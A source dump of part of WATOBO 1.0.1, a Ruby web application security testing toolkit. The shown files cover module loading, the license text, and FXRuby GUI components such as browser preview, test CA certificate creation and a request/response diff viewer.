/mswin|mingw|bccwin/ Conf::General.working_directory = File.join(ENV['HOME'], watobo_folder) when /linux|bsd|solaris|hpux|darwin/i Conf::General.working_directory = File.join(ENV['HOME'], watobo_folder) else # cygwin|java puts "!!! WATOBO is not tested for this platform (#{RUBY_PLATFORM})!!!" exit end end unless File.exist? Conf::General.working_directory $first_time_watobo = true begin print "Creating WATOBO's working directory #{Conf::General.working_directory}." Dir.mkdir(Conf::General.working_directory) rescue => bang puts "Could not create working directory for WATOBO." puts bang puts bang.backtrace if $DEBUG exit end end if File.exist? Conf::General.working_directory cfg_dir = File.join(Conf::General.working_directory, "conf") unless File.exist? cfg_dir puts "* create configuration directory '#{cfg_dir}' ..." Dir.mkdir(cfg_dir) print "OK\n" end @tmp_dir = File.join(Conf::General.working_directory, "tmp") unless File.exist? @tmp_dir puts "* create temp directory '#{@tmp_dir}' ..." Dir.mkdir(@tmp_dir) print "OK\n" end end end endwatobo-1.0.1/lib/watobo/framework/init_modules.rb000066400000000000000000000102171366346341400220750ustar00rootroot00000000000000# @private module Watobo#:nodoc: all private def self.init_passive_modules_UNUSED(filter='') # puts "get passive modules from path #{@settings[:module_path]}/passive" passive_modules = [] passive_path = Watobo.passive_module_path Dir["#{passive_path}/*.rb"].each do |mod_file| begin mod = File.basename(mod_file) require mod_file # puts "+ #{modules}" # load "#{@settings[:module_path]}/#{modules}/#{check}" classname = mod.slice(0..0).upcase + mod.slice(1..-1).downcase classname.sub!(".rb","") # How to get a class constant out of a string ??? Here we go ... class_constant = Watobo::Modules::Passive.const_get(classname) # passive_modules.push class_constant.new(self) passive_modules.push class_constant # puts "+ #{classname}" # notify(:logger, LOG_DEBUG, "#{modules} loaded.") rescue => bang puts "!!!" puts bang end end passive_modules end def self.init_passive_modules(filter='') # puts "get passive modules from path #{@settings[:module_path]}/passive" passive_modules = [] Dir["#{Watobo.passive_module_path}/*.rb"].each do |mod_file| begin mod = File.basename(mod_file) load mod_file rescue => bang puts "!!!" puts bang end end Watobo::Modules::Passive.constants.each do |m| begin class_constant = Watobo::Modules::Passive.const_get(m) passive_modules.push class_constant rescue => bang puts "!!!" puts bang end end passive_modules end def self.init_active_modules() active_path = Watobo.active_module_path Dir["#{active_path}/**"].each do |group| if File.ftype(group) == "directory" Dir["#{group}/*.rb"].each do |mod_file| begin # module_file = File.join(active_path, group, modules) mod = File.basename(mod_file) group_name = File.basename(group)# notify(:logger, LOG_DEBUG, "loading module: #{module_file}") #require "#{active_path}/#{group}/#{modules}" require mod_file # load "#{@settings[:module_path]}/#{modules}/#{check}" group_class = group_name.slice(0..0).upcase + group_name.slice(1..-1).downcase # module_class = mod.slice(0..0).upcase + mod.slice(1..-1).downcase module_class.sub!(".rb","") # How to get a class constant out of a string ??? Here we go ... # class_constant = Watobo.class_eval("Watobo::Modules::Active::#{group_class}::#{module_class}") class_constant = Watobo::Modules::Active.const_get(group_class).const_get(module_class) #@active_checks.push class_constant.new(self) # notify(:logger, LOG_INFO, "#{module_class} loaded.") active_checks.push class_constant rescue => bang puts '---' puts bang puts "when loading module file #{mod_file}" puts '---' # notify(:logger, LOG_DEBUG, "problems loading module: #{@settings[:module_path]}/active/#{group}/#{modules}") end end end end active_checks end def self.createModule(filename) begin #@interface.log("loading module: /active/#{group}/#{modules}") #require "#{@settings[:module_path]}/active/#{group}/#{modules}" #require "#{module_path}/#{group}/#{modules}" require filename # load "#{@settings[:module_path]}/#{modules}/#{check}" group_class = group.slice(0..0).upcase + group.slice(1..-1).downcase # module_class = modules.slice(0..0).upcase + modules.slice(1..-1).downcase module_class.sub!(".rb","") # How to get a class constant out of a string ??? Here we go ... class_constant = Watobo.class_eval("Watobo::Modules::Active::#{module_class}") @active_modules.push class_constant.new(self) #@interface.log("#{modules} loaded.") rescue => bang puts bang #@interface.log("problems loading module: #{module_path}/#{group}/#{modules}") puts "problems loading module: #{filename}" end end end watobo-1.0.1/lib/watobo/framework/license_text.rb000066400000000000000000000016611366346341400220730ustar00rootroot00000000000000# @private module Watobo#:nodoc: all LICENSE =<<'EOF' Copyright 2017 by siberas, http://www.siberas.de Disclaimer: You should only use WATOBO to perform vulnerability audits of your own web applications or those you are authorized to do so. siberas takes no responsibility if you use it for unlawful purposes. WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA EOF endwatobo-1.0.1/lib/watobo/framework/load_chat.rb000066400000000000000000000007571366346341400213300ustar00rootroot00000000000000# @private module Watobo#:nodoc: all def self.load_chat(project, session, chat_id) path = File.join Watobo.workspace_path, project.to_s, session.to_s, Watobo::Conf::Datastore.conversations unless File.exist? path puts "Could not find conversation path for #{project}/#{session} in #{Watobo.workspace_path}" return nil end chat_file = "#{chat_id}-chat.yml" chat = Watobo::Utils.loadChatYAML File.join(path, chat_file) puts chat.class chat end endwatobo-1.0.1/lib/watobo/gui.rb000077500000000000000000000072031366346341400161750ustar00rootroot00000000000000begin print "\nLoading FXRuby ... this may take some time ... " require 'fox16' print "[OK]\n" rescue LoadError => bang puts bang puts bang.backtrace print "[FAILED]\n" puts "!!! Seems like FXRuby is not installed !!!" puts "please check the installation tutorial at http://watobo.sourceforge.net" exit end require 'fox16/colors' require 'watobo/patch_fxruby_setfocus' info =< bang puts bang puts info puts "Press a key to continue or CTRL-C to abort." gets end include Fox # @private module Watobo #:nodoc: all module Gui @application = nil @icon_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "icons")) @project = nil def self.history unless defined? @history hf = Watobo::Conf::Gui.history_file wd = Watobo.working_directory history_file = File.join(wd, hf) @history = SessionHistory.new(history_file) end @history end def self.info i = [] i << "Ruby Version: " + RUBY_VERSION i << "Ruby Platform: " + RUBY_PLATFORM i << "FXRuby Version: " + Fox.fxrubyversion i << "Fox Version: " + Fox.fxversion i << "Watobo Version: " + Watobo.version #i << "Working Directory: " + Watobo.working_directory #i << "Active Checks Location: " + Watobo.active_module_path #i << "Passive Checks Location: " + Watobo.passive_module_path i.join("\n") end def self.start # create_application @main_window = Watobo::Gui::MainWindow.new(@application) FXToolTip.new(@application) @application.create @application.threadsEnabled = true Thread.abort_on_exception = true @history = Gui.history check_first_run() @application.run end def self.create_application @application = FXApp.new("Watobo", "The Webapplication Toolbox") end def self.application @application end def self.project @project end def self.project=(project) @project = project end def self.check_first_run # file = File.join(File.expand_path(File.dirname(__FILE__)), "..", "..", "disclaimer.chk") file = File.join(Watobo.working_directory, "disclaimer.chk") unless File.exist?(file) first_start_info = Watobo::Gui::AboutWatobo.new(@main_window) if first_start_info.execute != 0 then File.new(file, "w") else exit end end end end end %w( load_icons gui_utils load_plugins session_history save_default_settings master_password session_history save_project_settings save_proxy_settings save_scanner_settings ).each do |l| require File.join("watobo", "gui", "utils", l) end Watobo::Gui.create_application require 'watobo/gui/utils/init_icons' #require 'watobo/gui/mixins/subscriber' require 'watobo/gui/mixins/gui_settings' require 'watobo/gui/mixins/events' require 'watobo/gui/fxsave_thread' gui_path = File.expand_path(File.join(File.dirname(__FILE__), "gui")) Dir.glob("#{gui_path}/*.rb").each do |cf| next if File.basename(cf) == 'main_window.rb' # skip main_window here, because it must be loaded last require File.join("watobo", "gui", File.basename(cf)) end require 'watobo/gui/templates/plugin' require 'watobo/gui/templates/plugin2' require 'watobo/gui/templates/plugin_base' require 'watobo/gui/sequencer/sequencer' require 'watobo/gui/main_window' watobo-1.0.1/lib/watobo/gui/000077500000000000000000000000001366346341400156435ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/gui/about_watobo.rb000066400000000000000000000041431366346341400206570ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class AboutWatobo < FXDialogBox def initialize(owner) super(owner, "About WATOBO", :opts => DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE|DECOR_RESIZE,:width=>600, :height=>600) self.icon = Watobo::Gui::Icons::ICON_WATOBO @font = FXFont.new(getApp(), "courier", 12, FONTWEIGHT_BOLD) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE, :padding => 0) main.backColor = FXColor::White #main.verticalScrollBar.setLine(@font.fontHeight) header = FXHorizontalFrame.new(main, :opts => LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT, :width => 590, :height => 100, :padding => 0) version = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X, :padding => 0) version.backColor = FXColor::White version_label = FXLabel.new(version, "Version: #{Watobo.version}", nil, :opts => JUSTIFY_CENTER_X|LAYOUT_FILL_X) version_label.setFont(FXFont.new(getApp(), "helvetica", 14, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) version_label.backColor = FXColor::White version_label.justify = JUSTIFY_CENTER_X #lic_frame = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) lic_frame = FXScrollWindow.new(main, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) bottom = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @imageview = FXImageView.new(header, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|HSCROLLER_NEVER|VSCROLLER_NEVER) @imageview.image = Watobo::Gui::Icons::WATOBO_LOGO btn = FXButton.new(lic_frame, Watobo::LICENSE, :opts => LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT, :width => 575, :height => 400) btn.font = @font btn.backColor = FXColor::White btn.justify = JUSTIFY_LEFT FXButton.new(bottom, "OK" , :target => self, :selector => FXDialogBox::ID_ACCEPT, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end end end watobo-1.0.1/lib/watobo/gui/browser_preview.rb000066400000000000000000000136471366346341400214270ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui def self.browser_preview(opts) end class BrowserControl def initialize() end def navigate(url) raise "Navigate-Method not defined" end def connect() # check if browser is controlable. If not, create new instance. raise "Connect-Method not defined" end def ready?() # running? can be controlled? end def busy?() # wait until loading url has finished end def getDoc() raise "GetDocument-Method not defined" end def close() end def visible=(status) end def watobo_enabled?() # check if necessary plugins, etc. are installed # e.g. jssh for Firefox end end # # InternetExplorer Controller Class # class IEControl < BrowserControl # include WIN32OLE::VARIANT def initialize() @ie = nil createBrowser() end def createBrowser() @ie = WIN32OLE.new('InternetExplorer.Application') @ie.menubar=0 @ie.toolbar=0 @ie.statusbar=0 @ie.visible = true end def busy?() @ie.busy() end def connect() createBrowser() end def navigate(url) @ie.navigate(url) end def visible=(status) @ie.visible = status end def getDoc() @ie.document.body.innerHTML.to_s end def close() @ie.Quit @ie = nil end def ready?() return false if @ie.nil? begin @ie.visible = true rescue => bang puts bang return false end return true end end class SeleniumRC < BrowserControl def initialize(browser_type = :firefox, prefs = {}) proxy = "127.0.0.1:8081" @rc = nil proxy = prefs[:proxy] if prefs.has_key? :proxy begin # require 'selenium-webdriver' @rc = createBrowser(browser_type, proxy) rescue => bang puts "[#{self}] Could not create selenium driver" end end def createBrowser( browser_type = :firefox, proxy = nil ) profile = nil unless proxy.nil? puts "[Preview] create preview with proxy #{proxy}" if $DEBUG profile = Selenium::WebDriver::Firefox::Profile.new driver_proxy = Selenium::WebDriver::Proxy.new(:http => proxy) profile.proxy = driver_proxy @rc = Selenium::WebDriver.for :firefox, :profile => profile else @rc = Selenium::WebDriver.for browser_type end end def busy?() false end def connect() createBrowser() end def navigate(url) @rc.navigate.to(url) end def visible=(status) end def getDoc() @rc.page_source end def close() @rc.quit end def ready?() begin return false if @rc.nil? rescue => bang puts bang return false end return true end end class BrowserPreview attr_accessor :proxy def show(request, response) begin if watoboProxy? then hashid = @proxy.addPreview(response) url = request.url.to_s url += request.query != '' ? '&' : '?' url += "WATOBOPreview=#{hashid}" puts "PreviewURL: #{url}" @browser.navigate(url) if hashid return url else raise "WRONG_PROXY_SETTINGS" end rescue => bang puts bang # puts bang.class # puts bang.backtrace if $DEBUG raise bang end #raise "Wrong Proxy Settings" end def initialize(proxy) @proxy = proxy @browser = nil end private def wait() while @browser.busy? == true #puts "sleep, browser sleep ..." sleep 0.5 end end def watoboProxy? acquireBrowser() begin #@browser.visible = false url = "http://watobo.localhost/?WATOBOPreview=ProxyTest" timeout(5.0) do @browser.navigate(url) #sleep 1 wait() end puts "* check proxy" if @browser.getDoc() =~ /PROXY_OK/ then return true end rescue Timeout::Error puts "!!! Proxy Connection Timed out" rescue => bang puts "!!! Could not connect to proxy." puts bang puts bang.backtrace if $DEBUG acquireBrowser(true) retry end # @browser.close return false end def acquireBrowser( force = false ) if @browser.nil? or force == true then # TODO: initialize a global GUI function on startup to check if necessary gems are installed case RUBY_PLATFORM when /mswin|mingw|bccwin/ require 'win32ole' @browser = IEControl.new() when /linux|bsd|solaris|hpux|darwin/i begin require 'selenium-webdriver' puts "* AquireBrowser (Proxy: #{@proxy.server}:#{@proxy.port})" @browser = SeleniumRC.new(:firefox, :proxy => "#{@proxy.server}:#{@proxy.port}") puts @browser.class rescue LoadError # require 'net/telnet' # @browser = FFControl.new() puts "! Could not load Selenium Webdriver which is necessary for BrowserPreview Feature. Please install via:\n>gem install selenium-webdriver" end else # cygwin|java puts "!!! Could not acquire browser control for preview (unsupported OS) !!!" end elsif not @browser.ready? puts @browser.createBrowser end end end end end watobo-1.0.1/lib/watobo/gui/certificate_dialog.rb000066400000000000000000000106351366346341400217760ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class CertificateDialog < FXDialogBox def createCertificate(sender, sel, ptr) @createButton.disable cadir = File.join(Watobo.working_directory, "CA") crl_dir= File.join(cadir, "crl") hostname = "watobo" domainname = "watobo.local" puts "CA Directory:" + cadir # return 0 ca_settings = { :CA_dir => cadir, #:password => '1234', # some pseudo crypto ;) :password => Digest::MD5.hexdigest(Time.now.to_s + rand(100000).to_s + __FILE__).to_s, :keypair_file => File.join(cadir, "private/cakeypair.pem"), :cert_file => File.join(cadir, "cacert.pem"), :serial_file => File.join(cadir, "serial"), :new_certs_dir => File.join(cadir, "newcerts"), :new_keypair_dir => File.join(cadir, "private/keypair_backup"), :ca_cert_days => 5 * 365, # five years :ca_rsa_key_length => 2048, :cert_days => 365, # one year :cert_key_length_min => 1024, :cert_key_length_max => 2048, :crl_file => File.join(crl_dir, "#{@hostname_dt.value}.crl"), :crl_pem_file => File.join(crl_dir, "#{@hostname_dt.value}.pem"), :crl_days => 14, :name => [ ['C', 'DE', OpenSSL::ASN1::PRINTABLESTRING], ['O', @domain_dt.value, OpenSSL::ASN1::UTF8STRING], ['OU', @hostname_dt.value, OpenSSL::ASN1::UTF8STRING], ] } cert = { :type => 'server', # :user => @user_dt.value, :hostname => @hostname_dt.value, :email => @email_dt.value } puts "Create CA ..." ca = Watobo::SimpleCA.new(ca_settings) puts "Create Certificate ... " ca.create_cert(cert) FXMessageBox.information(self,MBOX_OK, "Certificate Created!", "Files written to #{ca_settings[:CA_dir]}\n!!! DON'T USE IT IN A PRODUCTION ENVIRONMENT !!!") end def initialize(owner, project) super(owner, "Create Certificate", :opts => DECOR_TITLE|DECOR_BORDER|DECOR_CLOSE, :width => 270, :height => 250) @project = project main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) FXLabel.new(main, "CA Settings") frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @hostname_dt = FXDataTarget.new('WATOBO') FXLabel.new(frame, "Hostname:") @hostname = FXTextField.new(frame, 25, :target => @hostname_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @domain_dt = FXDataTarget.new('watobo.local') FXLabel.new(frame, "Domain:") @domain = FXTextField.new(frame, 25, :target => @domain_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @user_dt = FXDataTarget.new('watobo') FXLabel.new(frame, "User:") @user = FXTextField.new(frame, 25, :target => @user_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @email_dt = FXDataTarget.new('watobo@siberas.de') FXLabel.new(frame, "Email:") @email = FXTextField.new(frame, 25, :target => @email_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) buttons_frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @createButton = FXButton.new(buttons_frame, "Create" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @createButton.connect(SEL_COMMAND, method(:createCertificate)) @hostname.handle(self, FXSEL(SEL_UPDATE, 0), nil) @domain.handle(self, FXSEL(SEL_UPDATE, 0), nil) @user.handle(self, FXSEL(SEL_UPDATE, 0), nil) @email.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end end end if __FILE__ == $0 # TODO Generated stub end watobo-1.0.1/lib/watobo/gui/chat_diff.rb000066400000000000000000000320551366346341400201040ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui DIFF_TYPE_ORIG = 0 DIFF_TYPE_NEW = 1 include Diff::LCS class ChatDiffFrame < FXVerticalFrame def textWidth=(cols) @textWidth = cols @dataText.wrapColumns = cols end def textWidth @textWidth end def highlightChanges(textWidget, text, diff_blocks) end def makeRowVisible(row) dummy = @dataText.to_s dummy = dummy.unpack("C*").pack("C*") data_rows = dummy.split("\n") if row > 0 then pos = data_rows.slice(0..row-1).join("\n").length+1 else pos = 0 end @dataText.makePositionVisible(@dataText.to_s.length) @dataText.makePositionVisible(pos) end def showDiff(data, diff_blocks) data_pos = 0 diff_pos = 0 @dataText.setText('') begin if diff_blocks.length > 0 then data.each do |d| if diff_blocks[diff_pos].position == data_pos then @dataText.appendStyledText(data[data_pos]+"\n", @style) diff_pos += 1 else @dataText.appendText(data[data_pos]+"\n") end data_pos += 1 break if diff_pos >= diff_blocks.length end end while data_pos < data.length @dataText.appendText(data[data_pos]+"\n") data_pos += 1 end rescue => bang puts bang end end def initialize(owner, opts) @textWidth = 80 @diffType = DIFF_TYPE_ORIG @style = 1 super(owner, :opts => opts[:opts]) @textWidth = opts[:textWidth] if opts[:textWidth] @diffType = opts[:diffType] if opts[:diffType] @style = 2 if @diffType == DIFF_TYPE_NEW #text_opts = LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_FIXEDWRAP|TEXT_WORDWRAP|FRAME_SUNKEN text_opts = LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN hs_green = FXHiliteStyle.new hs_green.normalForeColor = FXRGBA(255,255,255,255) hs_green.normalBackColor = FXRGBA(0,255,0,1) hs_green.style = FXText::STYLE_BOLD hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255,255,255,255) hs_red.normalBackColor = FXRGBA(255,0,0,1) hs_red.style = FXText::STYLE_BOLD frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED|FRAME_THICK, :padding => 0) data_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @dataText = FXText.new(data_frame, :opts => text_opts) @dataText.styled = true @dataText.hiliteStyles = [ hs_red, hs_green] @dataText.wrapColumns = @textWidth @dataText.visibleColumns = @textWidth @dataText.editable = false end end class ChatDiffViewer < FXDialogBox include Watobo::Gui::Icons def onTableClick(sender,sel,item) row = item.row action = sender.getItem(row, 0).text.to_s pos = sender.getItem(row, 1).text.to_i sender.killSelection() if action == "+" then @diff_new.makeRowVisible(pos) else @diff_orig.makeRowVisible(pos) end end def adjustLine(line) result = [] line.strip! if line.length > 0 then pos = 0 while pos < line.length result.push line[pos..pos+@max_line_length-1] pos += @max_line_length end end return result end def updateBlocks(data_old, data_new, blocks, diffs) ib = [] rb = [] context_lines = 3 file_length_difference = 0 diffs.each do |piece| hunk = Diff::LCS::Hunk.new(data_old, data_new, piece, context_lines, file_length_difference) hunk.blocks.each do |b| ib.concat b.insert rb.concat b.remove end end blocks[:remove] = rb blocks[:insert] = ib end def normalizeData(data) raise ArgumentError, "Bad data type. Need Request/Response." unless data.respond_to? :headers dummy = [] begin unless data.headers.nil? data.headers.each do |h| dummy.concat adjustLine(h) end dummy.push "" end unless data.body.nil? # puts "> clean up body #{data.body.length}" body = data.body_encoded body.split("\n").each do |l| # puts "[#{i}] #{l}" dummy.concat adjustLine(l) end end rescue => bang puts bang dummy = data end # puts dummy.join("\n") # return dummy.join("\n") return dummy end def getInserts(data_old, data_new) return nil if diffs.empty? end def showRequestDiff() @diff_orig.showDiff(@normRequestOrig, @requestBlocks[:remove]) @diff_new.showDiff(@normRequestNew, @requestBlocks[:insert]) end def showResponseDiff() @diff_orig.showDiff(@normResponseOrig, @responseBlocks[:remove]) @diff_new.showDiff(@normResponseNew, @responseBlocks[:insert]) end def initNavTable(table) table.clearItems() table.setTableSize(0, 3) table.setColumnText( 0, "Type" ) table.setColumnText( 1, "Pos" ) table.setColumnText( 2, "Count" ) table.rowHeader.width = 0 table.setColumnWidth(0, 50) table.setColumnWidth(1, 50) table.setColumnWidth(2, 50) end def updateNavTables() req_collection = diffCollections(@normRequestOrig, @normRequestNew, @requestDiffs) res_collection = diffCollections(@normResponseOrig, @normResponseNew, @responseDiffs) initNavTable(@navRequestTable) initNavTable(@navResponseTable) req_collection.each do |action, pos, count| lastRowIndex = @navRequestTable.getNumRows @navRequestTable.appendRows(1) @navRequestTable.setItemText(lastRowIndex, 0, action) @navRequestTable.setItemText(lastRowIndex, 1, pos.to_s) @navRequestTable.setItemText(lastRowIndex, 2, count.to_s) end res_collection.each do |action, pos, count| lastRowIndex = @navResponseTable.getNumRows @navResponseTable.appendRows(1) @navResponseTable.setItemText(lastRowIndex, 0, action) @navResponseTable.setItemText(lastRowIndex, 1, pos.to_s) @navResponseTable.setItemText(lastRowIndex, 2, count.to_s) #@navRequestTable.getItem(lastRowIndex, index).justify = FXTableItem::LEFT end end def diffCollections(data_old, data_new, diffs) file_length_difference = 0 context_lines = 3 raw_chunks = [] collections = [] return collections if diffs.empty? oldhunk = hunk = nil file_length_difference = 0 diffs.each do |piece| begin hunk = Diff::LCS::Hunk.new(data_old, data_new, piece, context_lines, file_length_difference) file_length_difference = hunk.file_length_difference next unless oldhunk if (context_lines > 0 ) and hunk.overlaps?(oldhunk) hunk.unshift(oldhunk) else raw_chunks.concat oldhunk.blocks end ensure oldhunk = hunk end end raw_chunks.concat oldhunk.blocks raw_chunks.each do |block| begin last_pos = -1 last_action = '+' count = 0 block.insert.each do |b| if last_pos < 0 then last_pos = b.position count = 0 elsif b.position-1 == (last_pos + count) then count +=1 else collections.push [last_action, last_pos, count+1 ] last_pos = b.position count = 0 end end collections.push [ last_action, last_pos, count+1 ] if block.insert.length > 0 rescue => bang puts bang end end raw_chunks.each do |block| begin last_pos = -1 last_action = '-' count = 0 block.remove.each do |b| if last_pos < 0 then last_pos = b.position count = 0 elsif b.position-1 == (last_pos + count) then count +=1 else collections.push [last_action, last_pos, count+1 ] last_pos = b.position count = 0 end end collections.push [ last_action, last_pos, count+1 ] if block.remove.length > 0 rescue => bang puts bang end end return collections.sort_by{ |e| e[1]} end def initialize(owner, chat_orig, chat_new) # Invoke base class initialize function first super(owner, "Chat Differ", :opts => DECOR_ALL,:width=>800, :height=>600) self.icon = ICON_DIFFER @chat_orig = chat_orig @chat_new = chat_new @max_line_length = 80 @requestBlocks = Hash.new @responseBlocks = Hash.new main = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) left = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_Y|LAYOUT_FIX_WIDTH, :width => 200, :padding => 0) @tabBook = FXTabBook.new(left, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) res_tab = FXTabItem.new(@tabBook, "Response", nil) res_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED|FRAME_THICK) sunken = FXVerticalFrame.new(res_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @navResponseTable = FXTable.new(sunken, :opts => TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) @navResponseTable.connect(SEL_COMMAND, method(:onTableClick)) req_tab = FXTabItem.new(@tabBook, "Request", nil) req_frame = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) sunken = FXVerticalFrame.new(req_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @navRequestTable = FXTable.new(sunken, :opts => FRAME_SUNKEN|TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) orig_frame = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X, :padding => 0) frame = FXVerticalFrame.new(orig_frame, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Original") @diff_orig = ChatDiffFrame.new(orig_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :diffType => DIFF_TYPE_ORIG) new_frame = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X, :padding => 0) frame = FXVerticalFrame.new(new_frame, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "New") @diff_new = ChatDiffFrame.new(new_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :diffType => DIFF_TYPE_NEW) @tabBook.connect(SEL_COMMAND) { if @tabBook.current == 0 then showResponseDiff() else showRequestDiff() end } # normalize data before processing # * remove empty lines, binary data # * wrap lines after @max_line_length @normRequestOrig = normalizeData(chat_orig.request) @normResponseOrig = normalizeData(chat_orig.response) @normRequestNew = normalizeData(chat_new.request) @normResponseNew = normalizeData(chat_new.response) # diff normalized data @requestDiffs = Diff::LCS.diff( @normRequestOrig, @normRequestNew ) @responseDiffs = Diff::LCS.diff( @normResponseOrig, @normResponseNew ) # set diff blocks updateBlocks(@normRequestOrig, @normRequestNew, @requestBlocks, @requestDiffs) updateBlocks(@normResponseOrig, @normResponseNew, @responseBlocks, @responseDiffs) updateNavTables() showResponseDiff() end end end end watobo-1.0.1/lib/watobo/gui/chatviewer_frame.rb000077500000000000000000000357161366346341400215220ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui SEL_TYPE_GREP = 0 SEL_TYPE_HIGHLIGHT = 1 class TextViewer < FXVerticalFrame attr_accessor :max_len def style=(new_style) @simple_text_view.style = new_style end def editable=(value) @simple_text_view.editable = value end def setText(text, prefs={}) normalized_text = text if text.is_a? String normalized_text = text.gsub(/[^[:print:]]/, ".") elsif text.respond_to? :has_body? if text.has_body? and text.content_type =~ /(xml)/ body = text.body.force_encoding('iso-8859-1').encode('utf-8') doc = Nokogiri::XML(body, &:noblanks) fbody = doc.to_xhtml(indent: 3, indent_text: " ") normalized_text = text.headers.map { |h| h.strip }.join("\n") normalized_text << "\n\n" unless fbody.to_s.empty? normalized_text << fbody.to_s else normalized_text = text end end end @text = normalized_text #@text = text @simple_text_view.max_len = @max_len @simple_text_view.setText(text, prefs) @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' applyFilter() if @auto_apply_cbtn.checked? end def highlight(pattern) highlightPattern(pattern) end def setFont(font_type=nil, size=nil) @simple_text_view.setFont(font_type, size) end def getText @simple_text_view.textbox.to_s end def initialize(owner, opts) super(owner, opts) @text_matches = [] @style = 2 # default style @text = '' @max_len = -1 #5000 @filter_mode = SEL_TYPE_HIGHLIGHT @cur_match_pos = 0 @text_dt = FXDataTarget.new('') @filter_dt = FXDataTarget.new('') text_view_header = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM|LAYOUT_FIX_HEIGHT, :height => 24, :padding => 0) #@auto_apply_cbtn.connect(SEL_COMMAND, method(:onInterceptChanged)) pmatch_btn = FXButton.new(text_view_header, "<", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) @match_pos_label = FXLabel.new(text_view_header, "0/0", :opts => LAYOUT_FILL_Y) @match_pos_label.textColor = 'grey' pmatch_btn.connect(SEL_COMMAND) { gotoPrevMatch() } nmatch_btn = FXButton.new(text_view_header, ">", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) nmatch_btn.connect(SEL_COMMAND) { gotoNextMatch() } # @filter_text = FXTextField.new(text_view_header, 10, # :target => @filter_dt, :selector => FXDataTarget::ID_VALUE, # :opts => FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X|LAYOUT_FILL_Y) @filter_text = FXComboBox.new(text_view_header, 20, @filter_dt, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) 